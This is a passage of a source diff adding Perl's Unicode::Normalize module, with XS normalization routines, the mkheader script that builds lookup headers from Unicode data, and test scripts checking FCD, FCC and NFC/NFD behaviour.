+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkFCD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkFCC = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ bool isMAYBE = FALSE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ U8 *sCan;
+ UV uvLead;
+ STRLEN canlen = 0;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+
+ sCan = (U8*) dec_canonical(uv);
+
+ if (sCan) {
+ STRLEN canret;
+ canlen = (STRLEN)strlen((char *) sCan);
+ uvLead = utf8n_to_uvchr(sCan, canlen, &canret, AllowAnyUTF);
+ if (!canret)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+ }
+ else {
+ uvLead = uv;
+ }
+
+ curCC = getCombinClass(uvLead);
+
+ if (curCC != 0 && curCC < preCC) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+
+ if (ix) {
+ if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv)) {
+ result = FALSE;
+ break;
+ }
+ else if (isComp2nd(uv))
+ isMAYBE = TRUE;
+ }
+
+ if (sCan) {
+ STRLEN canret;
+ UV uvTrail;
+ U8* eCan = sCan + canlen;
+ U8* pCan = utf8_hop(eCan, -1);
+ if (pCan < sCan)
+ croak(ErrHopBeforeStart);
+ uvTrail = utf8n_to_uvchr(pCan, eCan - pCan, &canret, AllowAnyUTF);
+ if (!canret)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+ preCC = getCombinClass(uvTrail);
+ }
+ else {
+ preCC = curCC;
+ }
+ }
+ if (isMAYBE && result) /* NO precedes MAYBE */
+ XSRETURN_UNDEF;
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+U8
+getCombinClass(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isExclusion(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isSingleton(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isNonStDecomp(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isComp2nd(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFC_MAYBE = 1
+ isNFKC_MAYBE = 2
+ INIT:
+ PERL_UNUSED_VAR(ix);
+
+SV*
+isNFD_NO(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFKD_NO = 1
+ PREINIT:
+ bool result = FALSE;
+ CODE:
+ if (Hangul_IsS(uv) || (ix ? dec_compat(uv) : dec_canonical(uv)))
+ result = TRUE; /* NFD_NO or NFKD_NO */
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+isComp_Ex(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFC_NO = 0
+ isNFKC_NO = 1
+ PREINIT:
+ bool result = FALSE;
+ CODE:
+ if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv))
+ result = TRUE; /* NFC_NO or NFKC_NO */
+ else if (ix) {
+ char *canon, *compat;
+ canon = (char *) dec_canonical(uv);
+ compat = (char *) dec_compat(uv);
+ if (compat && (!canon || strNE(canon, compat)))
+ result = TRUE; /* NFC_NO or NFKC_NO */
+ }
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+SV*
+getComposite(uv, uv2)
+ UV uv
+ UV uv2
+ PROTOTYPE: $$
+ PREINIT:
+ UV composite;
+ CODE:
+ composite = composite_uv(uv, uv2);
+ RETVAL = composite ? newSVuv(composite) : &PL_sv_undef;
+ OUTPUT:
+ RETVAL
+
+
+
+SV*
+getCanon(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ getCompat = 1
+ CODE:
+ if (Hangul_IsS(uv)) {
+ U8 tmp[3 * UTF8_MAXLEN + 1];
+ U8 *t = tmp;
+ U8 *e = pv_cat_decompHangul(aTHX_ t, uv);
+ RETVAL = newSVpvn((char *)t, e - t);
+ } else {
+ U8* rstr = ix ? dec_compat(uv) : dec_canonical(uv);
+ if (!rstr)
+ XSRETURN_UNDEF;
+ RETVAL = newSVpvn((char *)rstr, strlen((char *)rstr));
+ }
+ SvUTF8_on(RETVAL);
+ OUTPUT:
+ RETVAL
+
+
+void
+splitOnLastStarter(src)
+ SV * src
+ PREINIT:
+ SV *svp;
+ STRLEN srclen;
+ U8 *s, *e, *p;
+ PPCODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+ p = e;
+ while (s < p) {
+ UV uv;
+ p = utf8_hop(p, -1);
+ if (p < s)
+ croak(ErrHopBeforeStart);
+ uv = utf8n_to_uvchr(p, e - p, NULL, AllowAnyUTF);
+ if (getCombinClass(uv) == 0) /* Last Starter found */
+ break;
+ }
+
+ svp = sv_2mortal(newSVpvn((char*)s, p - s));
+ SvUTF8_on(svp);
+ XPUSHs(svp);
+
+ svp = sv_2mortal(newSVpvn((char*)p, e - p));
+ SvUTF8_on(svp);
+ XPUSHs(svp);
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader b/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader
new file mode 100644
index 00000000000..8d4c1b8e8db
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader
@@ -0,0 +1,419 @@
+#!perl
+#
+# This auxiliary script makes five header files
+# used for building XSUB of Unicode::Normalize.
+#
+# Usage:
+# <do 'mkheader'> in perl, or <perl mkheader> in command line
+#
+# Input files:
+# unicore/CombiningClass.pl (or unicode/CombiningClass.pl)
+# unicore/Decomposition.pl (or unicode/Decomposition.pl)
+#
+# Output files:
+# unfcan.h
+# unfcpt.h
+# unfcmb.h
+# unfcmp.h
+# unfexc.h
+#
+use 5.006;
+use strict;
+use warnings;
+use Carp;
+use File::Spec;
+use SelectSaver;
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ die "Unicode::Normalize cannot stringify a Unicode code point\n";
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ die "Unicode::Normalize cannot get Unicode code point\n";
+ }
+}
+
+our $PACKAGE = 'Unicode::Normalize, mkheader';
+
+our $prefix = "UNF_";
+our $structname = "${prefix}complist";
+
+# Starting in v5.20, the tables in lib/unicore are built using the platform's
+# native character set for code points 0-255.
+*pack_U = ($] ge 5.020)
+ ? sub { return pack('W*', @_).pack('U*'); } # The empty pack returns
+ # an empty UTF-8 string,
+ # so the effect is to
+ # force the return into
+ # being UTF-8.
+ : sub { return pack('U*', @_); };
+
+# %Canon and %Compat will be ($codepoint => $hexstring) after _U_stringify()
+our %Comp1st; # $codepoint => $listname : may be composed with a next char.
+our %CompList; # $listname,$2nd => $codepoint : composite
+
+##### The below part is common to mkheader and PP #####
+
+our %Combin; # $codepoint => $number : combination class
+our %Canon; # $codepoint => \@codepoints : canonical decomp.
+our %Compat; # $codepoint => \@codepoints : compat. decomp.
+our %Compos; # $1st,$2nd => $codepoint : composite
+our %Exclus; # $codepoint => 1 : composition exclusions
+our %Single; # $codepoint => 1 : singletons
+our %NonStD; # $codepoint => 1 : non-starter decompositions
+our %Comp2nd; # $codepoint => 1 : may be composed with a prev char.
+
+# from core Unicode database
+our $Combin = do "unicore/CombiningClass.pl"
+ || do "unicode/CombiningClass.pl"
+ || croak "$PACKAGE: CombiningClass.pl not found";
+our $Decomp = do "unicore/Decomposition.pl"
+ || do "unicode/Decomposition.pl"
+ || croak "$PACKAGE: Decomposition.pl not found";
+
+# CompositionExclusions.txt since Unicode 3.2.0. If this ever changes, it
+# would be better to get the values from Unicode::UCD rather than hard-code
+# them here, as that will protect from having to make fixes for future
+# changes.
+our @CompEx = qw(
+ 0958 0959 095A 095B 095C 095D 095E 095F 09DC 09DD 09DF 0A33 0A36
+ 0A59 0A5A 0A5B 0A5E 0B5C 0B5D 0F43 0F4D 0F52 0F57 0F5C 0F69 0F76
+ 0F78 0F93 0F9D 0FA2 0FA7 0FAC 0FB9 FB1D FB1F FB2A FB2B FB2C FB2D
+ FB2E FB2F FB30 FB31 FB32 FB33 FB34 FB35 FB36 FB38 FB39 FB3A FB3B
+ FB3C FB3E FB40 FB41 FB43 FB44 FB46 FB47 FB48 FB49 FB4A FB4B FB4C
+ FB4D FB4E 2ADC 1D15E 1D15F 1D160 1D161 1D162 1D163 1D164 1D1BB
+ 1D1BC 1D1BD 1D1BE 1D1BF 1D1C0
+);
+
+# definition of Hangul constants
+use constant SBase => 0xAC00;
+use constant SFinal => 0xD7A3; # SBase -1 + SCount
+use constant SCount => 11172; # LCount * NCount
+use constant NCount => 588; # VCount * TCount
+use constant LBase => 0x1100;
+use constant LFinal => 0x1112;
+use constant LCount => 19;
+use constant VBase => 0x1161;
+use constant VFinal => 0x1175;
+use constant VCount => 21;
+use constant TBase => 0x11A7;
+use constant TFinal => 0x11C2;
+use constant TCount => 28;
+
+sub decomposeHangul {
+ my $sindex = $_[0] - SBase;
+ my $lindex = int( $sindex / NCount);
+ my $vindex = int(($sindex % NCount) / TCount);
+ my $tindex = $sindex % TCount;
+ my @ret = (
+ LBase + $lindex,
+ VBase + $vindex,
+ $tindex ? (TBase + $tindex) : (),
+ );
+ return wantarray ? @ret : pack_U(@ret);
+}
+
+########## getting full decomposition ##########
+
+## converts string "hhhh hhhh hhhh" to a numeric list
+## (hex digits separated by spaces)
+sub _getHexArray { map hex, $_[0] =~ /\G *([0-9A-Fa-f]+)/g }
+
+while ($Combin =~ /(.+)/g) {
+ my @tab = split /\t/, $1;
+ my $ini = hex $tab[0];
+ if ($tab[1] eq '') {
+ $Combin{$ini} = $tab[2];
+ } else {
+ $Combin{$_} = $tab[2] foreach $ini .. hex($tab[1]);
+ }
+}
+
+while ($Decomp =~ /(.+)/g) {
+ my @tab = split /\t/, $1;
+ my $compat = $tab[2] =~ s/<[^>]+>//;
+ my $dec = [ _getHexArray($tab[2]) ]; # decomposition
+ my $ini = hex($tab[0]); # initial decomposable character
+ my $end = $tab[1] eq '' ? $ini : hex($tab[1]);
+ # ($ini .. $end) is the range of decomposable characters.
+
+ foreach my $u ($ini .. $end) {
+ $Compat{$u} = $dec;
+ $Canon{$u} = $dec if ! $compat;
+ }
+}
+
+for my $s (@CompEx) {
+ my $u = hex $s;
+ next if !$Canon{$u}; # not assigned
+ next if $u == 0xFB1D && !$Canon{0x1D15E}; # 3.0.1 before Corrigendum #2
+ $Exclus{$u} = 1;
+}
+
+foreach my $u (keys %Canon) {
+ my $dec = $Canon{$u};
+
+ if (@$dec == 2) {
+ if ($Combin{ $dec->[0] }) {
+ $NonStD{$u} = 1;
+ } else {
+ $Compos{ $dec->[0] }{ $dec->[1] } = $u;
+ $Comp2nd{ $dec->[1] } = 1 if ! $Exclus{$u};
+ }
+ } elsif (@$dec == 1) {
+ $Single{$u} = 1;
+ } else {
+ my $h = sprintf '%04X', $u;
+ croak("Weird Canonical Decomposition of U+$h");
+ }
+}
+
+# modern HANGUL JUNGSEONG and HANGUL JONGSEONG jamo
+foreach my $j (0x1161..0x1175, 0x11A8..0x11C2) {
+ $Comp2nd{$j} = 1;
+}
+
+sub getCanonList {
+ my @src = @_;
+ my @dec = map {
+ (SBase <= $_ && $_ <= SFinal) ? decomposeHangul($_)
+ : $Canon{$_} ? @{ $Canon{$_} } : $_
+ } @src;
+ return join(" ",@src) eq join(" ",@dec) ? @dec : getCanonList(@dec);
+ # condition @src == @dec is not ok.
+}
+
+sub getCompatList {
+ my @src = @_;
+ my @dec = map {
+ (SBase <= $_ && $_ <= SFinal) ? decomposeHangul($_)
+ : $Compat{$_} ? @{ $Compat{$_} } : $_
+ } @src;
+ return join(" ",@src) eq join(" ",@dec) ? @dec : getCompatList(@dec);
+ # condition @src == @dec is not ok.
+}
+
+# exhaustive decomposition
+foreach my $key (keys %Canon) {
+ $Canon{$key} = [ getCanonList($key) ];
+}
+
+# exhaustive decomposition
+foreach my $key (keys %Compat) {
+ $Compat{$key} = [ getCompatList($key) ];
+}
+
+##### The above part is common to mkheader and PP #####
+
+foreach my $comp1st (keys %Compos) {
+ my $listname = sprintf("${structname}_%06x", $comp1st);
+ # %04x is bad since it'd place _3046 after _1d157.
+ $Comp1st{$comp1st} = $listname;
+ my $rh1st = $Compos{$comp1st};
+
+ foreach my $comp2nd (keys %$rh1st) {
+ my $uc = $rh1st->{$comp2nd};
+ $CompList{$listname}{$comp2nd} = $uc;
+ }
+}
+
+sub split_into_char {
+ use bytes;
+ my $uni = shift;
+ my $len = length($uni);
+ my @ary;
+ for(my $i = 0; $i < $len; ++$i) {
+ push @ary, ord(substr($uni,$i,1));
+ }
+ return @ary;
+}
+
+sub _U_stringify {
+ sprintf '"%s"', join '',
+ map sprintf("\\x%02x", $_), split_into_char(pack_U(@_));
+}
+
+foreach my $hash (\%Canon, \%Compat) {
+ foreach my $key (keys %$hash) {
+ $hash->{$key} = _U_stringify( @{ $hash->{$key} } );
+ }
+}
+
+########## writing header files ##########
+
+my @boolfunc = (
+ {
+ name => "Exclusion",
+ type => "bool",
+ hash => \%Exclus,
+ },
+ {
+ name => "Singleton",
+ type => "bool",
+ hash => \%Single,
+ },
+ {
+ name => "NonStDecomp",
+ type => "bool",
+ hash => \%NonStD,
+ },
+ {
+ name => "Comp2nd",
+ type => "bool",
+ hash => \%Comp2nd,
+ },
+);
+
+my $orig_fh = SelectSaver->new;
+{
+
+my $file = "unfexc.h";
+open FH, ">$file" or croak "$PACKAGE: $file can't be made";
+binmode FH; select FH;
+
+ print << 'EOF';
+/*
+ * This file is auto-generated by mkheader.
+ * Any changes here will be lost!
+ */
+EOF
+
+foreach my $tbl (@boolfunc) {
+ my @temp = sort {$a <=> $b} keys %{$tbl->{hash}};
+ my $type = $tbl->{type};
+ my $name = $tbl->{name};
+ print "$type is$name (UV uv)\n{\nreturn\n\t";
+
+ while (@temp) {
+ my $cur = shift @temp;
+ if (@temp && $cur + 1 == $temp[0]) {
+ print "($cur <= uv && uv <= ";
+ while (@temp && $cur + 1 == $temp[0]) {
+ $cur = shift @temp;
+ }
+ print "$cur)";
+ print "\n\t|| " if @temp;
+ } else {
+ print "uv == $cur";
+ print "\n\t|| " if @temp;
+ }
+ }
+ print "\n\t? TRUE : FALSE;\n}\n\n";
+}
+
+close FH;
+
+####################################
+
+my $compinit =
+ "typedef struct { UV nextchar; UV composite; } $structname;\n\n";
+
+foreach my $i (sort keys %CompList) {
+ $compinit .= "$structname $i [] = {\n";
+ $compinit .= join ",\n",
+ map sprintf("\t{ %d, %d }", $_, $CompList{$i}{$_}),
+ sort {$a <=> $b } keys %{ $CompList{$i} };
+ $compinit .= ",\n{0,0}\n};\n\n"; # with sentinel
+}
+
+my @tripletable = (
+ {
+ file => "unfcmb",
+ name => "combin",
+ type => "STDCHAR",
+ hash => \%Combin,
+ null => 0,
+ },
+ {
+ file => "unfcan",
+ name => "canon",
+ type => "char*",
+ hash => \%Canon,
+ null => "NULL",
+ },
+ {
+ file => "unfcpt",
+ name => "compat",
+ type => "char*",
+ hash => \%Compat,
+ null => "NULL",
+ },
+ {
+ file => "unfcmp",
+ name => "compos",
+ type => "$structname *",
+ hash => \%Comp1st,
+ null => "NULL",
+ init => $compinit,
+ },
+);
+
+foreach my $tbl (@tripletable) {
+ my $file = "$tbl->{file}.h";
+ my $head = "${prefix}$tbl->{name}";
+ my $type = $tbl->{type};
+ my $hash = $tbl->{hash};
+ my $null = $tbl->{null};
+ my $init = $tbl->{init};
+
+ open FH, ">$file" or croak "$PACKAGE: $file can't be made";
+ binmode FH; select FH;
+ my %val;
+
+ print FH << 'EOF';
+/*
+ * This file is auto-generated by mkheader.
+ * Any changes here will be lost!
+ */
+EOF
+
+ print $init if defined $init;
+
+ foreach my $uv (keys %$hash) {
+ croak sprintf("a Unicode code point 0x%04X over 0x10FFFF.", $uv)
+ unless $uv <= 0x10FFFF;
+ my @c = unpack 'CCCC', pack 'N', $uv;
+ $val{ $c[1] }{ $c[2] }{ $c[3] } = $hash->{$uv};
+ }
+
+ foreach my $p (sort { $a <=> $b } keys %val) {
+ next if ! $val{ $p };
+ for (my $r = 0; $r < 256; $r++) {
+ next if ! $val{ $p }{ $r };
+ printf "static $type ${head}_%02x_%02x [256] = {\n", $p, $r;
+ for (my $c = 0; $c < 256; $c++) {
+ print "\t", defined $val{$p}{$r}{$c}
+ ? "($type)".$val{$p}{$r}{$c}
+ : $null;
+ print ',' if $c != 255;
+ print "\n" if $c % 8 == 7;
+ }
+ print "};\n\n";
+ }
+ }
+ foreach my $p (sort { $a <=> $b } keys %val) {
+ next if ! $val{ $p };
+ printf "static $type* ${head}_%02x [256] = {\n", $p;
+ for (my $r = 0; $r < 256; $r++) {
+ print $val{ $p }{ $r }
+ ? sprintf("${head}_%02x_%02x", $p, $r)
+ : "NULL";
+ print ',' if $r != 255;
+ print "\n" if $val{ $p }{ $r } || ($r+1) % 8 == 0;
+ }
+ print "};\n\n";
+ }
+ print "static $type** $head [] = {\n";
+ for (my $p = 0; $p <= 0x10; $p++) {
+ print $val{ $p } ? sprintf("${head}_%02x", $p) : "NULL";
+ print ',' if $p != 0x10;
+ print "\n";
+ }
+ print "};\n\n";
+ close FH;
+}
+
+} # End of block for SelectSaver
+
+1;
+__END__
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t
new file mode 100644
index 00000000000..d2ef28b9e90
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t
@@ -0,0 +1,138 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..70\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub hexU { _pack_U map hex, split ' ', shift }
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+#########################
+
+ok(FCD(''), "");
+ok(FCC(''), "");
+ok(FCD('A'), "A");
+ok(FCC('A'), "A");
+
+ok(normalize('FCD', ""), "");
+ok(normalize('FCC', ""), "");
+ok(normalize('FCC', "A"), "A");
+ok(normalize('FCD', "A"), "A");
+
+# 9
+
+# if checkFCD is YES, the return value from FCD should be same as the original
+ok(FCD(hexU("00C5")), hexU("00C5")); # A with ring above
+ok(FCD(hexU("0041 030A")), hexU("0041 030A")); # A+ring
+ok(FCD(hexU("0041 0327 030A")), hexU("0041 0327 030A")); # A+cedilla+ring
+ok(FCD(hexU("AC01 1100 1161")), hexU("AC01 1100 1161")); # hangul
+ok(FCD(hexU("212B F900")), hexU("212B F900")); # compat
+
+ok(normalize('FCD', hexU("00C5")), hexU("00C5"));
+ok(normalize('FCD', hexU("0041 030A")), hexU("0041 030A"));
+ok(normalize('FCD', hexU("0041 0327 030A")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("AC01 1100 1161")), hexU("AC01 1100 1161"));
+ok(normalize('FCD', hexU("212B F900")), hexU("212B F900"));
+
+# 19
+
+# if checkFCD is MAYBE or NO, FCD returns NFD (this behavior isn't documented)
+ok(FCD(hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(FCD(hexU("0041 030A 0327")), hexU("0041 0327 030A"));
+ok(FCD(hexU("00C5 0327")), NFD(hexU("00C5 0327")));
+ok(FCD(hexU("0041 030A 0327")), NFD(hexU("0041 030A 0327")));
+
+ok(normalize('FCD', hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("0041 030A 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("00C5 0327")), NFD(hexU("00C5 0327")));
+ok(normalize('FCD', hexU("0041 030A 0327")), NFD(hexU("0041 030A 0327")));
+
+# 27
+
+ok(answer(checkFCD('')), 'YES');
+ok(answer(checkFCD('A')), 'YES');
+ok(answer(checkFCD("\x{030A}")), 'YES'); # 030A;COMBINING RING ABOVE
+ok(answer(checkFCD("\x{0327}")), 'YES'); # 0327;COMBINING CEDILLA
+ok(answer(checkFCD(_pack_U(0x00C5))), 'YES'); # A with ring above
+ok(answer(checkFCD(hexU("0041 030A"))), 'YES'); # A+ring
+ok(answer(checkFCD(hexU("0041 0327 030A"))), 'YES'); # A+cedilla+ring
+ok(answer(checkFCD(hexU("0041 030A 0327"))), 'NO'); # A+ring+cedilla
+ok(answer(checkFCD(hexU("00C5 0327"))), 'NO'); # A-ring+cedilla
+ok(answer(checkNFC(hexU("00C5 0327"))), 'MAYBE'); # NFC: A-ring+cedilla
+ok(answer(check("FCD", hexU("00C5 0327"))), 'NO');
+ok(answer(check("NFC", hexU("00C5 0327"))), 'MAYBE');
+ok(answer(checkFCD("\x{AC01}\x{1100}\x{1161}")), 'YES'); # hangul
+ok(answer(checkFCD("\x{212B}\x{F900}")), 'YES'); # compat
+
+ok(answer(checkFCD(hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(checkFCC(hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(check('FCD', hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(check('FCC', hexU("1EA7 05AE 0315 0062"))), "NO");
+
+# 45
+
+ok(FCC(hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(FCC(hexU("0045 0304 0300")), "\x{1E14}");
+ok(FCC("\x{1100}\x{1161}\x{1100}\x{1173}\x{11AF}"), "\x{AC00}\x{AE00}");
+ok(normalize('FCC', hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCC', hexU("0045 0304 0300")), "\x{1E14}");
+ok(normalize('FCC', hexU("1100 1161 1100 1173 11AF")), "\x{AC00}\x{AE00}");
+
+ok(FCC("\x{0B47}\x{0300}\x{0B3E}"), "\x{0B47}\x{0300}\x{0B3E}");
+ok(FCC("\x{1100}\x{0300}\x{1161}"), "\x{1100}\x{0300}\x{1161}");
+ok(FCC("\x{0B47}\x{0B3E}\x{0300}"), "\x{0B4B}\x{0300}");
+ok(FCC("\x{1100}\x{1161}\x{0300}"), "\x{AC00}\x{0300}");
+ok(FCC("\x{0B47}\x{300}\x{0B3E}\x{327}"), "\x{0B47}\x{300}\x{0B3E}\x{327}");
+ok(FCC("\x{1100}\x{300}\x{1161}\x{327}"), "\x{1100}\x{300}\x{1161}\x{327}");
+
+# 57
+
+ok(answer(checkFCC('')), 'YES');
+ok(answer(checkFCC('A')), 'YES');
+ok(answer(checkFCC("\x{030A}")), 'MAYBE'); # 030A;COMBINING RING ABOVE
+ok(answer(checkFCC("\x{0327}")), 'MAYBE'); # 0327;COMBINING CEDILLA
+ok(answer(checkFCC(hexU("00C5"))), 'YES'); # A with ring above
+ok(answer(checkFCC(hexU("0041 030A"))), 'MAYBE'); # A+ring
+ok(answer(checkFCC(hexU("0041 0327 030A"))), 'MAYBE'); # A+cedilla+ring
+ok(answer(checkFCC(hexU("0041 030A 0327"))), 'NO'); # A+ring+cedilla
+ok(answer(checkFCC(hexU("00C5 0327"))), 'NO'); # A-ring+cedilla
+ok(answer(checkFCC("\x{AC01}\x{1100}\x{1161}")), 'MAYBE'); # hangul
+ok(answer(checkFCC("\x{212B}\x{F900}")), 'NO'); # compat
+ok(answer(checkFCC("\x{212B}\x{0327}")), 'NO'); # compat
+ok(answer(checkFCC("\x{0327}\x{212B}")), 'NO'); # compat
+
+# 70
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t
new file mode 100644
index 00000000000..6bbfb082cab
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t
@@ -0,0 +1,84 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..37\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+#########################
+
+ok(NFD ("\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(NFC ("\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(NFKD("\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(NFKC("\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(checkNFD ("\x{304C}")), "NO");
+ok(answer(checkNFC ("\x{304C}")), "YES");
+ok(answer(checkNFKD("\x{304C}")), "NO");
+ok(answer(checkNFKC("\x{304C}")), "YES");
+ok(answer(checkNFD ("\x{FF76}")), "YES");
+ok(answer(checkNFC ("\x{FF76}")), "YES");
+ok(answer(checkNFKD("\x{FF76}")), "NO");
+ok(answer(checkNFKC("\x{FF76}")), "NO");
+
+ok(normalize('D', "\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(normalize('C', "\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(normalize('KD',"\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(normalize('KC',"\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(check('D', "\x{304C}")), "NO");
+ok(answer(check('C', "\x{304C}")), "YES");
+ok(answer(check('KD',"\x{304C}")), "NO");
+ok(answer(check('KC',"\x{304C}")), "YES");
+ok(answer(check('D' ,"\x{FF76}")), "YES");
+ok(answer(check('C' ,"\x{FF76}")), "YES");
+ok(answer(check('KD',"\x{FF76}")), "NO");
+ok(answer(check('KC',"\x{FF76}")), "NO");
+
+ok(normalize('NFD', "\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(normalize('NFC', "\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(normalize('NFKD',"\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(normalize('NFKC',"\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(check('NFD', "\x{304C}")), "NO");
+ok(answer(check('NFC', "\x{304C}")), "YES");
+ok(answer(check('NFKD',"\x{304C}")), "NO");
+ok(answer(check('NFKC',"\x{304C}")), "YES");
+ok(answer(check('NFD' ,"\x{FF76}")), "YES");
+ok(answer(check('NFC' ,"\x{FF76}")), "YES");
+ok(answer(check('NFKD',"\x{FF76}")), "NO");
+ok(answer(check('NFKC',"\x{FF76}")), "NO");
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t
new file mode 100644
index 00000000000..2bd6e504a32
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t
@@ -0,0 +1,386 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..217\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub hexU { _pack_U map hex, split ' ', shift }
+
+# This won't work on EBCDIC platforms prior to v5.8.0, which is when this
+# translation function was defined
+*to_native = (defined &utf8::unicode_to_native)
+ ? \&utf8::unicode_to_native
+ : sub { return shift };
+
+#########################
+
+ok(getCombinClass( to_native(0)), 0);
+ok(getCombinClass(to_native(41)), 0);
+ok(getCombinClass(to_native(65)), 0);
+ok(getCombinClass( 768), 230);
+ok(getCombinClass(1809), 36);
+
